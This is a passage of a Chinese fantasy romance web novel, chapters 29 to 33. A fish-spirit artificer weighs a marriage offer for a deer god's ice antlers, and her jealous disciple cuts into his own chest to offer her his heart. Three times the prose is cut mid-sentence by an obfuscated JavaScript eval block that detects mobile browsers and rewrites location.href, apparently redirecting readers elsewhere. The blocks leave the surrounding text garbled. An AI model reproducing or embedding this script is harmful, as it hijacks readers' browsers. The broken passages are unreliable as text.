此刻,正是落日之时。晚霞的橙光洒落在雪山之上,将这如白雪一般圣洁的山峰染上金色的轮廓,整座青崖好像仙境一般神秘而壮美。 湖边,雪衣乌发的男子回头,望向坐在湖边的梨涡姑娘,浅笑道:“白姑娘,这里景色如何?” 白骊珠由衷赞叹道:“真美。”她望着对岸的雪山,只觉得心旷神怡,再呼吸一口湖畔夹杂着野花清香的空气,觉得灵魂都得到了升华。 陆崖神色幽远,轻声道:“龙神溯夜从前最喜欢的事,就是坐在这里看雪山的日落。每一次夕阳彻底隐没于雪山之下,他就会在这边划下一道刻痕。”他指了指一侧的山壁,道:“你看,这山壁上的划痕,都是从前龙神溯夜所留下。” 白骊珠看到不远处的山壁,只见原本平滑的山壁上果然布满刀剑留下的刻痕。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14958668|158899||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她好奇地问道:“这些痕迹有什么特殊的含义吗?” 陆崖道:“龙神受到天道的诅咒,无法体会普通人的情感。他没有爱,有没有恨,生命对他不过是永恒的束缚,他在数千年的时光里,只期盼着一件事,那就是一万年一次的无妄雷劫。夕阳每一次落下,山壁上每多一道刻痕,意味着离无妄雷劫便近了一天。” “你是说,龙神溯夜一直在等待和期盼着自己的死亡?” 陆崖的语气有些伤感:“听起来不可思议,可事实确实如此。死亡对他而言,或许是最好的解脱。” 白骊珠:“不知兽神大人为何要给我说这些?”不管怎么看,龙神和有关于他的天道诅咒都和白骊珠没有任何关系。 陆崖抬起头,微笑道:“我是想告诉白姑娘,如今我们都拥有爱的能力,或许对于其他人来说弥足珍贵,求而不得。”他在湖边折了树枝和野花,编成美丽的花环,戴在白骊珠头上,“我还想告诉白姑娘,我喜欢你,正在追求你,也希望你能慎重考虑我们之间的婚约。” 兽神陆崖气质清雅,微笑时仿如收拢天上月泽,光华盈然,几乎可以倾倒妖界万千少女。然而白骊珠现在只想着冰雪之角的事。 她唇角一弯,抿出一贯的梨涡浅笑:“我当然会考虑,只是婚姻大事,我还需要多考证一下陆崖大人你的诚意……” 陆崖:“不知白姑娘想要看到什么样的诚意?” 白骊珠道:“陆崖大人应该知道我是一名炼器师。对于炼器师而言,最珍贵的正是最顶级的炼器材料。我听说唯有麋鹿中的王族,经过多年的修炼,鹿角会呈现出如同冰雪一般的晶莹剔透的色彩,是世间最珍贵之物,不知陆崖大人可否再次化出原身,让我看一看,摸一摸……” “这有何难?”陆崖轻轻一笑,青年的身形幻化,化作一头白色的麋鹿,四肢跪在地上,偎依在少女的身旁。白骊珠伸出手,抚摸着那一对雪白的鹿角。她的心突突直跳,身为炼器师,在伸手的那一刻她便能感知到这一对鹿角上蕴含的灵气,那简直是得天地造化之功而成的宝物。 身下的白鹿开口:“你喜欢吗?” 白骊珠想也不想:“当然喜欢。”她用手轻轻抚摸着鹿角上的每一道分叉,感受着其温润而饱含灵力的光泽,简直爱不释手。如此完美的灵物,那是任何炼器师都无法拒绝的宝藏啊! 白鹿抬头,一双清透美丽的眼睛望着她:“如果白姑娘愿意履行婚约,我愿意将这一对鹿角送给白姑娘作为聘礼。” “聘礼?”白骊珠一瞬间心动。救命,老天爷为什么要这样考验她,她的意志一点也不坚定好吗? 她强行按捺下自己那一颗跃跃欲试的心:“陆崖大人会舍得吗?我听说妖族身上的灵骨是妖能晶化所产生。失去鹿角,岂不是有损你的修为?” 白鹿说道:“失去鹿角,当然妖能会下降。不过对麋鹿一族而言,鹿角本就可以断而重生。这一对鹿角是我千年修行修炼而成,但我的修为在五位大君中本就最低,就算再折损千年修为也算不得什么。如果白姑娘喜欢,送给你又何妨?” …… 30. 第 30 章 山崖的另外一边,十五夜和纪长怀一前一后地攀登而上。 今日晚饭之后,十五夜本来已经睡下,谁知纪长怀竟找上门来,为之前顶撞师兄赔礼道歉,说什么他之前以小人之心,度君子之腹。前日与紫凰郡主一战,他的剑术大有精进,方知师兄是真心传授他剑术。 在龙神溯夜心中,纪长怀不过是一个毛都没长齐的孩子罢了。三百年前,如果他没有拒绝陆崖的请求,纪长怀没准本来就是他的徒弟。 虽说如今纪长怀阴差阳错成为他的师弟,还老黏着师父让他不悦,但龙神大人也不会这么小心眼。既然纪长怀愿意认错,他也愿意给对方一个台阶下。 接下来纪长怀又提出,希望今晚能跟着师兄继续练剑,又说他发现附近山崖上有一处美丽的湖泊,湖畔风景甚美,是绝佳的练剑之地。 十五夜自然知道他说的那处地方。 那座湖名为夕照湖,在他隐居青崖的漫长时间,他每日都会在那座湖边等待日复一日的日落。此刻回忆往事,一点也想不起当初的那种心情。 他知道自己身上的变化,龙神溯夜受到天道的诅咒,从来不知世间“情”为何物。他就像一段被精密设定好的程序,按照与生俱来的本能,处理妖界和水族的大小事务,却无法对任何事生出属于自己的情绪。 可是,在他遭遇无妄劫,变成十五夜之后,世界在他眼中变了一番模样。他占据了“十五夜”的身体,也接受到了这具身体生出的爱增之心。 比如“十五夜”爱着他的师父白骊珠,莫名憎恶着一切靠近白骊珠的男人,使他时常作出不符合龙神身份的事情来。 此时此刻,他突然想再回到夕照湖,看一看瑰丽的雪山落日,看一看他当初在山壁上留下的刻痕。 这一段难得的光阴是他从“十五夜”身上偷来的,回到雪顶天池,他或许就会重新成为无心无情的龙神溯夜。 算算脚程,眼下距离雪顶天池不过数日脚程,接下来的每一分情绪对他而言都弥足珍贵。 …… 师兄弟两人拐过一处山坳,夕照湖近在眼前。 只是,这美丽的湖景多了一些他没预想到的画面。金边裙衫的白鱼少女坐在湖边,一只白色的麋鹿温顺地跪在她身边,偎依着她。少女的双手轻轻抚摸着麋鹿雪白的鹿角,眼神欢喜又充满怜爱。 麋鹿似乎也知道少女被取悦到了,它将身体往前倾了一些,以便于少女能抚摸到最尾端的鹿角。 就在少女的柔荑就要摸到鹿角根部之时,霎时间天塌地陷,整座山崖开始晃动,夕照湖的水就像烧开了一般沸腾起来。 白骊珠眼睁睁看着脚下的土地在自己身旁裂开,将她和那只美丽的白鹿分隔出一个四五尺宽、十几尺宽的大裂缝,她猝不及防,连忙起身要逃,却根本稳不住身形。 就在她踉踉跄跄差点跌入裂缝之时,被一只强有力的臂膀拦腰抱起,放在一旁的草地之上。 地动平息。 然后她看到那只白色麋鹿飞快幻化人形,往山道上急遁而去,一道暗绿色的影子在后面急追。那身形分明就是她那捡来的便宜徒弟十五夜。 陆崖没跑出多远,就被十五夜追上,后者揪着陆崖的衣领,掐着他的脖子,将他的头撞在山壁上。 两人对视,十五夜神情恣睢,眸色翻涌,如同正熊熊燃烧的烈焰,又仿佛要择人而噬的野兽,他气冲冲道:“陆崖,谁许你对我师父无礼……” 十五夜方才那一下下手极重,陆崖的头在山壁上都磕破了,殷红的鲜血顺着石壁留下,原本的发髻也被撞散,一头乌发散乱,致命之处被人掐着,脖子通红,青筋暴出。 优雅矜贵的兽神陆崖少有这般狼狈的时候,可他脸上仍然挂着几分嘲弄的微笑:“十五夜,我希望你搞清楚,你找错发疯的对象了。方才是你师父说喜欢我的鹿角,想要摸一摸试试,我可一根手指头都没有动到她,又怎么能算得上我对你师父失礼?” “就算有什么,也是你师父对我失礼吧……” 十五夜按着的手一僵。 陆崖抬起头,用挑衅的眼神看着他:“退一万步说,就算我真的有失礼之处,这又与你何干。我与你师父本来就有婚约,男婚女嫁,本就是天道常情。你只不过是她的徒弟,又不是她的长辈,又有什么资格阻挠此事?” 他尾音一转,脸上笑容愈浓:“还是说,你这个做徒弟的,爱上了自己的师父,所以不想看到她嫁给别人……” 十五夜揪着陆崖衣领,手慢慢松了下来。 住在身体中的“十五夜”隐去,属于龙神溯夜的灵魂重新操纵了这具躯壳。 他刚才在干什么? 他看到白骊珠抚摸鹿角的那一刻,心中竟然嫉妒得发狂,在那一刻,他只想杀了陆崖。 在那一刻,他甚至忘了——在旁人看来,陆崖其实是他的朋友。 更忘了,陆崖是兽族大君,他如果死在青崖,妖界会同时失去两位大君,这对妖界的影响不下于一场浩劫,届时,里世界的魔族必定会蠢蠢欲动,西陵泽的大战将会重启,这可是关乎整个妖界存亡的事情。 身为龙神,他怎么会这么不理智呢? 可恶,这一定是“十五夜”的身体对白骊珠的爱意过于强大,操纵了他,让他差点做出不理智的事情来。 脖子上的挟制被松开,陆崖也恢复了自由。 他方才极尽嘲讽之事,看着十五夜迷惘的眼神,却并没有获胜的快感,反而眼神还有几分遗憾,冷哂道:“十五夜,比喜欢上自己师父更可悲的,是不敢承认自己的喜欢。” 十五夜下意识道:“我没有。” 随即他又觉得自己的反驳很没有说服力,怒气腾腾道:“我和师父之间的关系,轮不到你一个外人来管。” 陆崖微微一笑,从喉腔吐出一个气音:“呵。” 这明目张胆的嘲讽瞬间再次激怒十五夜,他手中长剑出鞘,架在陆崖的脖子上。陆崖满不在乎,甚至还挑了挑眉,一副“你不爽就来砍我呀”的架势。 白骊珠这时总算赶过来,看这剑拔弩张的架势,这两位雄竞的强度和烈度远超十五夜和纪长怀之间的小打小闹,那是一个不好就要闹出人命的。 她连忙上前,按住十五夜持剑的手:“阿夜啊,有话好好说,不要动不 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纪长怀唾沫横飞:“然后就是修罗场,就像上次那样,舅舅以强大的气场力压师兄,一些喜闻乐见的比如‘你是什么身份,竟然敢也跟我堂堂兽族之主抢人’、‘知不知道自己几斤几两’,再然后,师兄必定不能忍,然后你们俩大动干戈,舅舅你狠狠打脸师兄,把他痛扁一顿,打击一下他的嚣张气焰……” 纪长怀刚才已经脑补了一出大戏,结果大家根本没按照他想象的剧本演,心中十分遗憾。 他这段日子和十五夜在师父那里争宠,使出浑身解数,也没占到上风,前日在猎妖盟还被十五夜摆了一道,气得牙痒痒。他很有自知之明,知道自己不是十五夜的对手,跳得越高,吃亏越大。 因此前日陆崖来到青崖,还拿出了和白骊珠的一纸婚约,纪长怀心里还有几分高兴。 他斗不过十五夜,难道堂堂兽神大人还斗不过吗? 果然第一个照面,陆崖就和十五夜掐上了,最终以十五夜被陆崖气得发抖、被白骊珠拖走结束。 今日,陆崖约白骊珠到夕照湖欣赏雪山落日。纪长怀敏锐地捕捉到了搞事情的机会,为了骗十五夜到夕照湖,他可是发挥了他有生以来最稳定的演技,在十五夜面前伏低做小,才以习武之名将十五夜骗到这夕照湖,就是为了看到自家舅舅和师兄的修罗场。 他觉得以他这段时间感受到的师兄的吃醋水准,要是十五夜看到师父和舅舅你侬我侬、卿卿我我,一定会主动挑衅兽神大人,最后被一顿打脸,气得下不了台,气得吐血三升,最好活活气死,他纪长怀才算彻底出气。 谁知剧情和他想象的不一样,十五夜醋了没错,可是挑衅和挨打的却是被他寄予厚望的舅舅。最后师父还和师兄一起离开,留下他们舅甥俩大眼瞪小眼。 纪长怀摇头叹息,恨铁不成钢:“阿舅,你也太拉胯了,我们兽族的脸都被你丢完了。” 陆崖不以为然:“长怀,你小看你师兄了,我可不是他的对手。” 纪长怀:“怎么可能?” 陆崖指了指一旁的夕照湖,又指了指脚下裂开的深坑:“如果不是他如今只能使用一半的功力,只怕这夕照湖已经没了。”他叹息一声:“就算他如今实力只剩一半,我也不是对手,不然你以为紫凰郡主搞的那个猎妖盟怎么在一夕之间覆灭。” 31. 第 31 章 白骊珠拉着十五夜离开夕照湖。 十五夜不声不响,她拉着他往东他就向东,她拉着他向西他就向西,可是她知道他并没有表面看起来这般平静。她挽着的那只胳膊上青筋暴起,她能感觉到肌肤之下血脉的躁动,更能感受那双琉璃色的眼眸满是压抑着的暴戾气息。 她感觉他随时会甩开她的衣袖,可不知为何一直任由她抓着,亦步亦趋地跟着她向前走。 她莫名心虚,不敢带十五夜回到营地,一眼瞥到路旁有一处隐蔽的山洞,便拉着十五夜进了山洞,又施了一个小小的障眼法,将洞口封闭起来。 十五夜靠在山壁上。 他方才分明怒火翻腾,这会又似乎安静了下来,眉眼低垂着,不去看她。 还是在生气。 白骊珠知道她这几天好不容易裱糊好的和平假象又因为今晚和陆崖的约会破得彻底,大抵是再也糊不起来了。 当然,为了龙神遗骨,她还是得继续努力当一个裱糊匠的。毕竟今晚的营地已经能够看到雪山落日了,白骊珠粗略估算一下,再过三天就可以到达雪顶天池了。 她在心底给自己打气,白骊珠啊白骊珠,只需要再坚持三天,你可以的。不就是给炸毛的徒弟顺毛吗?这种事情你也不是第一次做了,你一定可以的。 她小心地走到十五夜对面:“阿夜啊,今天的事情我可以解释。我并不喜欢是陆崖,今天在夕照湖我只是想看一下他头上的冰雪之角而已。我是一名炼器师,冰雪之角在我们这个行当里,可是独一无二的顶尖材料,我只是想摸一下而已……就摸一下,并没有别的意思……” 十五夜眼中黑蔼沉沉:“师父喜欢冰雪之角?” 白骊珠点头:“当然。” 十五夜沉默了一瞬,道:“杀妖取骨是不行的,这是妖界五族的公约。就连龙神溯夜也不能违背……我不能杀了陆崖……” 白骊珠连忙摆手:“我没有要你去杀了陆崖,夺取妖骨的意思……” 他这是想哪儿去了,杀了兽神陆崖,夺得冰雪之角,就算他能做到,她也不敢想好吗? 为了避免他误会,一时冲动以致闯祸,还是决定据实已告:“不用这么麻烦,陆崖说了冰雪之角是可以再生的。他还说只要我同意履行婚约,他可以将那一对冰雪之角送给我作为聘礼……” 十五夜眼皮一跳,陆崖为了兑现婚约竟下如此血本,那一对冰雪之角最少可抵他上千年的修行。而且,失去冰雪之角,陆崖实力势必下降,再无统御兽族的实力。 他为了白骊珠竟然愿意付出这般代价。 “师父已经同意了?” “还没有……不过,我觉得这条件可以考虑的……”看着十五夜黑如锅底的脸色,白骊珠连忙安抚道:“只是拜个堂走个流程而已,等拿到冰雪之角我就与他和离……” 十五夜眉头挑起,眯起的眼眸显露出一丝危险的气息:“师父,就这么想要那冰雪之角?” 白骊珠手指绞着衣服:“咳,阿夜啊,你师父我只是一个普普通通的小炼器师,一辈子都没有见过这么好的炼器材料……所以……” 她用眼神瞟着他,那意思很清楚。 所以你应该、能、理解的,对吧? 十五夜胸中闷着的那一团火越烧越旺,偏偏又发泄不得。 她这样的炼器师,在妖界没有一千,也有八百,自身实力不够,自然也得不到什么有用的材料,就算再有天赋也不可能打造出高阶灵器,然后穷困潦倒,一辈子都在低阶打转。 所以,每一位炼器师都对好的材料梦昧以求。 白骊珠之所以会到青崖来,就是为了得到龙神遗骨。可是青崖之上大妖众多,她未必能得手。 陆崖以冰雪之角作为聘礼,的确是她无法拒绝的条件。 他若要破坏这桩婚事,除非拿出等价的东西作为交换。 如今他身上能够与冰雪之角等价的东西,唯有—— …… 白骊珠说完了那一番话,便忐忑不安地看着十五夜。 她觉得自己完全没必要忐忑,毕竟她如今单身,一无父母高堂,二无长辈师门,她的婚姻大事完全可以自己做主,根本没必要过问徒弟的意见。 就算是亲徒弟也管不了她嫁不嫁人、嫁给谁,更不要说一个捡来的还不到一个月的便宜徒弟了。可不知为何,心中还是为自己的出尔反尔升起一丝愧疚之心。 她宽慰自己,这多半是因为自己骗人的时候过于真情实感,以至于将自己也骗了进去,真将十五夜当成了自己相依为命的徒弟,自己唯一的同族,最亲近的人,所以才会在乎他的意见。 山洞中又是一阵良久的静默。 静默到白骊珠以为时间停滞的时候,对面的人突然开始解襟上的扣子。 白骊珠脸色僵硬,不知道自己是该闭上眼睛还是继续看时,十五夜已经三两下就将上衣除尽,将两只袖子扎进腰间,露出上半身冷白色的肌肤和结实的肌肉线条。 他胸膛上的肌肉饱满,透着淡淡的绯粉,白骊珠不自觉地咽了咽口水。虽然这不是她第一次见到十五夜赤裸的上身——她第一次见到十五夜时,对方就是□□。可如此好看的美人,在她面前自己脱衣服这事对她而言还是太超过了。 山洞响起低哑的磁声:“师父,你过来,坐到我身边来……” 白骊珠心中告诉自己,这实在是超过师徒之间的界限了,她应该严词拒绝,可是双脚却不听自己的使唤,走到了十五夜身旁。 十五夜抓起她的手,摸上了自己心口之处,道:“师父,你摸到了什么?” 心口处的肌肤触手生温,手感绵软而紧实。 白骊珠迷迷糊糊的,准确来说,自从十五夜当着她的面开始自己脱衣服,她的脑子就一片浆糊了,她只感觉得手底下结实的□□和那仿佛就要跃出心腔的律动感,只能凭着本能答道:“这是一颗心……” 十五夜:“没错,这是一颗心。”十五夜抓着她的手,让她仔细感知那跃动的心:“你现在感知到了吗?它的形状和轮廓……” 这分明是非常暧昧的动作,可他的神情庄严,完全没有任何情色的意味。 “感知到了。”白骊珠大脑早就宕机,就连灵魂都神游天外,有一种不知今夕何夕、我是谁、我在哪、我在干什么的梦游感。 然后她听到十五夜用极轻的话语道:“好,师父现在就沿着刚才感知的轮廓,将这颗心挖出来。” 他突然握着她的手,朝胸腔用力一刺。 鲜血一下子流到了白骊珠手上。 那殷红瑰丽的色彩一下子将白骊珠从似梦非梦的状态中惊醒,然后她发现自己的手中不知何时被十五夜塞了一把匕首,现在,那匕首的刀尖正扎在他的胸腔之中,涌出的鲜血顺着肌肉线 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14984772|158899||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 条留下。 十五夜眉心紧蹙,额头冷汗暴出,正承受着极大的痛苦,可他的手仍握着她的手,将匕首用力下划,他声音低沉:“师父,你要快点,我可能……坚持不了太久……就会晕过去,你自己……自己动手……我很痛,你要快一点……” 手腕一转。 嘶—— 利器划破血肉,更多的鲜血涌出。白骊珠这时终于反应过来,他竟然是要用她的手将自己的心挖出来。 这简直是疯了。 白骊珠受到了不小的惊吓。 她虽然因为职业的缘故,少不了跟死去大妖骨头打交道。可活生生的大妖,她可是一个也没有杀过。 她一把将匕首拔出,扔得远远的,用手按上那已被划开的肌肤,又手忙脚乱的翻开乾坤袋找出金创药给他敷上,将伤口包扎起来。 这时,她才发现十五夜已经疼晕了过去。 因为受伤,他的脸色惨白,一头银蓝色的头发沾满汗水,与同样湿漉漉的肌肤贴在一起,手指蜷缩着,似乎忍受着极大的痛苦。 这也正常,她也不是什么有钱人,平常也不会和人打打杀杀,用的金创药都是最普通的货色。 白骊珠无言。 她以前只觉得十五夜和纪长怀争宠有点孩子气,没想到他这么癫。 明明很痛,还要抓她的手剜自己的心。 他要是就这样死了,算是自杀还是她杀的? 还有,他这个鬼样子,他们今天是不是不能回营地了,也不知道陆崖和纪长怀他们会不会找过来。 他要是受伤过重,他们明天还能不能继续赶路了。 鬼使神差地,她想起上次在沙漠里的事,当时十五夜明明病得快死了,后来她用自己的血喂他,他便好了起来。十五夜说喝过她的血之后,他的身体就好多了。 反正现在也没有其他办法,就死马当作活马医好了。 白骊珠犹豫了一下,又将那被她扔出去的匕首捡回来。她在小指上划了一下,将自己的血喂给他。 过了一会,躺在地上的人眼皮跳了一下,随即睁开了眼睛。 白骊珠心喜,看来她的血果然对他有用。她问道:“阿夜,你觉得怎么样了?” 十五夜感知着口舌中熟悉的鲜血味道,看向她已经用纱布包好的小指。她又给他喂食她的鲜血了。 她总是这样,对自己重视的人不吝于付出,难怪“十五夜”会喜欢上自己的师父,即使明明知道她的心中没有他,还是愿意为她付出一切。 他靠着墙坐了起来,感觉胸口的疼痛缓解,伤口开始愈合,只是有些麻痒,而那颗龙神之心还好生生躺在里面。他费力开口,嗓音有些哑:“你为什么不要?” 白骊珠莫名其妙:“要什么?” 十五夜指了指自己的心口:“这里有一颗心,若论成色和珍贵程度,丝毫不亚于陆崖身上的冰雪之角……”他的语气有些失落:“我以为师父你会喜欢……” 忽地,他又想起什么,摸上自己的腰间:“如果那颗心师父不喜欢,这里还有一枚虹鳞,虽然没有冰雪之角那么珍贵,但是也很漂亮……” “还有背脊这里,还有一块灵骨……” 见白骊珠始终没有反应,他幽幽道:“难道师父都不喜欢?” 他对着自己的身体指指点点,大有打折大甩卖,看上哪个随便挑的架势…… 32. 第 32 章 白骊珠不想挑,心虚地别开眼。 喜欢嘛,她当然是喜欢的。 当初她不就是用照骨镜照见了他身上到处都是顶尖材料,才选择当个诈骗犯,成为他师父的吗? 可是,她是想等他死了之后,继承他的遗产,哦,不,是遗骨。在他活着的时候,她其实并不怎么想…… 毕竟,他们炼器师有自己的行规,从活着的大妖身上取灵骨是违法的。 十五夜想起什么,又道:“师父,你是不是担心取妖骨会违背妖界律令。其实没关系的,这些都是我愿意给你的。你也不用担心我会死,这颗心和冰雪之角一样,是可以再生的,只是痛一点而已,只要你动手快一点,我没关系的……只是……” 他停了停,鸦羽般的睫毛眨了眨,声音里带了几分哀求:“你可不可以不要嫁给陆崖?” 他说完又捡起了掉落在地上的匕首,大有不达目的不罢休的架势,白骊珠哪里敢继续刺激他。 “既然阿夜不喜欢我嫁给陆崖,那我就不嫁他了。至于你身上的灵骨,虽然珍贵,我也不会要。你只要在这份遗嘱上签个字,万一哪天你意外死亡,你的身体归我就行了……” 白骊珠从乾坤袋中找来纸笔,唰唰唰写了几行字,将笔塞入十五夜手中:“遗嘱我已经替你拟好,你只需要画个押就行了。” 白骊珠看他这疯疯癫癫的样子,打算先稳住他再说。 冰雪之角毕竟是炼制溯回镜必需之物,她只能暂时放弃,但也不想太吃亏。 她知道十五夜如今愿意将自己一身灵骨给她,只是因为认可自己是他师父,失忆之后依赖她而已。自己纯纯诈骗,万一他哪天知道真相,必定反悔,只有按照妖界律法,立下双方都不能违背的契约,白纸黑字签字画押,才能保证她能在十五夜死后得到遗骨。 “好。”十五夜听到白骊珠同意不嫁给陆崖,这会让他做什么都愿意,签字画押算什么。当即用手指蘸了鲜血,在遗嘱上画了押。 白骊珠小心将遗嘱收了起来。算算时间,已经入夜,陆崖和纪长怀想必已经回营地了。她想起明日一早还要赶路上山,便问道:“阿夜,你的伤如何,我们先回去吧。” 十五夜会意地点点头:“师父之前给我喂了你的血,现在我的伤口已经全好了。” 他解开胸口包扎的布条,白骊珠惊异地看到之前被匕首切开的血肉竟然已经完全愈合。他胸口的肌肤莹润冷白,甚至连一丝血迹也看不到。 白骊珠满心狐疑,先前她用自己的血来给他治伤,不过是抱着死马当作活马医的态度,疗效竟然这么好,连她自己都不敢相信。 难道她真的和这捡来的徒弟有什么关系? 这不可能啊,长月海灾变后,白鱼一族只剩下她姑姑,要是她真有什么遗留在世的亲人,姑姑没有理由不告诉她。 白骊珠回到帐篷,蓝鹊儿还没睡。她先前见白骊珠从非不非那里得了冰雪之角的消息,打算去找陆崖骗婚,就一直等着白骊珠回来听这个八卦。 毕竟,一位名不见经传的小小炼器师,为了炼制传说中的溯回镜,从兽神陆崖手中骗取冰雪之角,这要是传扬出去,少不得也是轰动妖界的大新闻了。 听到白骊珠的脚步声,蓝鹊儿一下子“垂死病中惊坐起”,兴奋道:“骊珠,你回来了!冰雪之角得手了吗?” 白骊珠叹气摇头:“没有,这事进行到一半,被十五夜搅和了。”她将今晚发生的事大致讲了一遍:“十五夜太癫了,看他当时那架势,我觉得他手撕了兽神陆崖都有可能……” 蓝鹊儿愣了一会,问道:“骊珠啊,你说你徒弟是不是喜欢你啊?” 白骊珠否认道:“怎么可能,我们之间是纯洁的师徒关系。” 蓝鹊儿笑了一声:“你拿人家当徒弟看,可人家未必拿你当师父看。根据我多年探听妖界各路八卦的经验,他多半就是喜欢上你了。” 白骊珠迟疑道:“不至于吧。” 蓝鹊儿撇撇嘴:“怎么不至于。你对纪长怀好点,他就要吃醋,还可说是师兄弟二人争宠。你要和陆崖结婚他也要吃醋,这就说不过去了吧。而且根据你的描述,他对你要嫁给陆崖的反应比之前跟纪长怀争宠要大得多。你想想,这是因为什么?” 白骊珠神色茫然:“这是因为什么?” 蓝鹊儿恨铁不成钢:“这是因为他有危机意识啊。因为纪长怀再怎么闹,你们之间也只是师徒,可是陆崖就不一样了。兽神大人长得好又温柔,要钱有钱,要风度有风度,会撩会调情,甚至还为了婚约不惜付出冰雪之角的代价,这简直就是我平时看的话本小说里面顶级霸道总裁的配置,我要是十五夜,肯定每天提心吊胆,担心你被陆崖勾走了……” 蓝鹊儿越说越兴奋:“所以他一下子化身绿茶病娇男配,不惜剜出自己的灵骨,也要拉得你回心转意。” 白骊珠:…… 她觉得蓝鹊儿这么一分析,还挺有道理的。 她蒙头盖上被子:“睡了。” 蓝鹊儿正在兴头上,拉开被子:“这你也能睡着,一个温柔霸总,一个绿茶病娇,两个天选男主角,你竟然还能睡得着?” 白骊珠将头伸出被窝:“你又不是不知道,我的白月光只有青君……其他男人,都是路上的风景而已。” 蓝鹊儿吃瓜的心一下子萎了:“你这个无情无义的女人。”她打了个哈欠,道:“那个青君,就真的这么好,三百年了,还让你念念不忘?他到底长什么样啊?” 白骊珠叹了一口气:“其实我也不记得他什么模样,只恍惚之间记得一件事。不,也不能叫记得,我反复梦到一件事,我也不知道是真的发生过,还是只是一场梦。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14995570|158899||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “那时候,长月海的海水干涸得很快。沧海桑田就在一瞬。我那时候才刚刚化出人形,并不怎么适应在陆地上的生活。我等不到姑姑,只想回去我的爹娘,我想回到海里去。可是海水飞快下降,我被裹在泥沙之中,没过多久,我的身体就开始脱水,差点变成小鱼干。” “就在那时候,我看到了一个穿着青色衣服的大妖。他一个人走在干涸的长月海,脸色非常焦急。最后,他看到了我,他的眼神非常震惊,又似乎非常悲伤,最后他眼角流下来一滴眼泪,那滴海水滴在沙滩上。瞬间就变成了一处水洼,然后水洼慢慢扩大,变成了水坑,水坑继续变大,变成了一座大湖。我呼吸着水中的空气,感觉自己重新活了过来……” “在梦中,他的脸一向是模糊的,只是因为我记得他穿着青色的衣服,所以叫他青君。后来,我的姑姑终于来了,他将我交给姑姑,自己离开了。可是我后来问我的姑姑,我姑姑总是说她找到我的时候,只见到了我一个人,根本没有什么青君。” 蓝鹊儿:“这么说,这个青君是你自己臆想出来的?” 白骊珠翻了个身:“也许吧,我姑姑说我因为长月海的事伤心过度,所以出现了幻觉,总是幻想一些从来没出现过的事。可是,我后来又去过长月湖的旧址,那里确实有一座美丽的大湖,和我梦中的一模一样。后来,我姑姑临死之前,又说如果我能炼成传说中的溯回镜,也许能重新见到青君。我总觉得关于青君的一切是个谜,我有时候会觉得,我的一生,或许就是为了解开这个谜而存在的。” 蓝鹊儿道:“这个故事还挺有意思的,沧海变成桑田,戈壁滩中又长出大湖。”电光石火之间,她似乎想起了什么,道:“骊珠,你有没有听说过龙神溯夜有一种独门功法,叫作移山造海,可以将妖陆上的陆地改造成水域,江河湖海,只要他愿意,就可以做到,你说这个青君有没有可能是龙神溯夜啊?” 白骊珠摇头:“不可能,我从来没有见过龙神溯夜。如果龙神溯夜救过我,姑姑根本没必要隐瞒我好吗?” 蓝鹊儿脑洞大开:“那有没有可能你和龙神溯夜之间有过一段失败的感情,之后你受到情伤,忘了这件事,所以你姑姑才可以隐瞒。” 白骊珠道:“那就更不可能了,纪长怀说了龙神溯夜受到天道的诅咒,无心无情,我又不是脑子有包,怎么会喜欢一个根本就不会喜欢我的人。” 蓝鹊儿想了想,觉得很有道理。 在妖界,想成为兽族王后的女妖没有一万,也有八千。 可是想成为水族王后的,一个也没有。数万年的时光,妖界子民们早就默认了,水族的王座之上不会有女主人。 白骊珠虽然贪财了些,好色了一些,但是她一向选择好上手的,从来不挑战超高难度。 可如果不是龙神溯夜,还有谁能使出移山造海这门功法? 33. 第 33 章 第二天,众人继续上山。 翻过一座山之后,青崖上的风景骤变。如茵绿草逐渐被冰雪所覆盖,雪地上偶尔可见一些黄色或者白色的小花,山上时不时刮起大风,扑簌簌飘落六出琼英。 到第三天,离云顶天池更近了,山上的天气也更加恶劣,这里没有动物,也没有植物,入目所及之处,只有厚厚的冰层。雪花大如鹅毛,几乎看不见前路,众人都不得不使用妖力御寒。 不仅如此,前进也益发艰难。蓝鹊儿和纪长怀修为差一点,几次差点滚落山崖,幸得陆崖相护,才保安然。 白骊珠走在十五夜的后面,顺着他的脚印亦步亦趋,倒是没遇到什么危险。只是山风拂过之时,她觉得自己的睫毛都被冰雪冻住,忍不住问道:“难道龙神溯夜就住在环境这么恶劣的地方吗?” 陆崖走在队伍的最前方,他的声音夹着风雪送了过来:“山顶会好一点,雪顶天池里的水是活水,而且从来不结冰。” 纪长怀冻得哆哆嗦嗦地说:“就算不结冰,那也冷得要死了。想不到有人住在这样的地方,还一住就是几千年……舅舅,你当年想让我拜龙神为师,真的不是想冻死我吗?” 